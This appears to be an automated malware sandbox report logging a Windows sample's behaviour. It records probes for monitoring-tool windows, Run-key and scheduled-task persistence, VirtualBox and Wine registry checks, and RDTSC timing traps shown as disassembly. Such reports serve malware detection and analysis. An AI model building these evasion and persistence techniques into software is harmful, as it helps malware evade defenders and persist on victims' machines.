Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Window searched: window name: RegmonClass

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 06339d0580.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 06339d0580.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2bbe886987.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2bbe886987.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 23e9bcc0a0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 23e9bcc0a0.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_4-9716
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-12440

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3467 second address: 5A346D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4E81 second address: 5B4E8B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4E8B second address: 5B4E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4E91 second address: 5B4E95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4E95 second address: 5B4E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B52B6 second address: 5B52CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C2525D0D1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B52CB second address: 5B52D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007F7C252749F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B52D7 second address: 5B52E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B52E0 second address: 5B5306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7C25274A07h 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5306 second address: 5B5310 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7C2525D0CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B55CC second address: 5B55F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F7C25274A0Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B55F2 second address: 5B55F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B55F7 second address: 5B55FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B55FD second address: 5B5603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5603 second address: 5B5609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B94BB second address: 5B94C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B94C8 second address: 5B94D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7C252749F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B94D3 second address: 5B94D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B94D9 second address: 5B94DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B94DD second address: 5B94F3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7C2525D0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B94F3 second address: 5B9525 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7C25274A07h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7C252749FEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9525 second address: 5B952F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B952F second address: 5B956B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7C252749F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jbe 00007F7C25274A04h 0x00000015 pushad 0x00000016 jmp 00007F7C252749FAh 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e pop eax 0x0000001f mov dword ptr [ebp+122D1D3Dh], esi 0x00000025 lea ebx, dword ptr [ebp+1245E31Bh] 0x0000002b sbb edx, 2E609F36h 0x00000031 xchg eax, ebx 0x00000032 push esi 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B956B second address: 5B956F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B956F second address: 5B959F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7C25274A08h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B959F second address: 5B95B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C2525D0D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B96CC second address: 5B96F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 add dword ptr [esp], 37E7DB49h 0x0000000c mov dword ptr [ebp+122D3A3Bh], ecx 0x00000012 lea ebx, dword ptr [ebp+1245E324h] 0x00000018 mov edi, dword ptr [ebp+122D2D15h] 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 ja 00007F7C252749F8h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B96F5 second address: 5B9715 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7C2525D0D2h 0x00000008 jmp 00007F7C2525D0CCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jns 00007F7C2525D0CEh 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B97C0 second address: 5B97C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B97C4 second address: 5B97DB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jnl 00007F7C2525D0C6h 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B97DB second address: 5B97E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B97E1 second address: 5B9813 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007F7C2525D0DAh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B98FC second address: 5B9912 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7C252749F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c jl 00007F7C25274A04h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9912 second address: 5B9916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D718B second address: 5D71AB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F7C25274A03h 0x0000000d push ebx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D78D7 second address: 5D790D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7C2525D0E5h 0x00000008 jl 00007F7C2525D0C6h 0x0000000e jmp 00007F7C2525D0D9h 0x00000013 push esi 0x00000014 js 00007F7C2525D0C6h 0x0000001a pop esi 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D790D second address: 5D7911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7BF3 second address: 5D7C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7C2525D0D0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D802D second address: 5D804B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A04h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D804B second address: 5D8064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
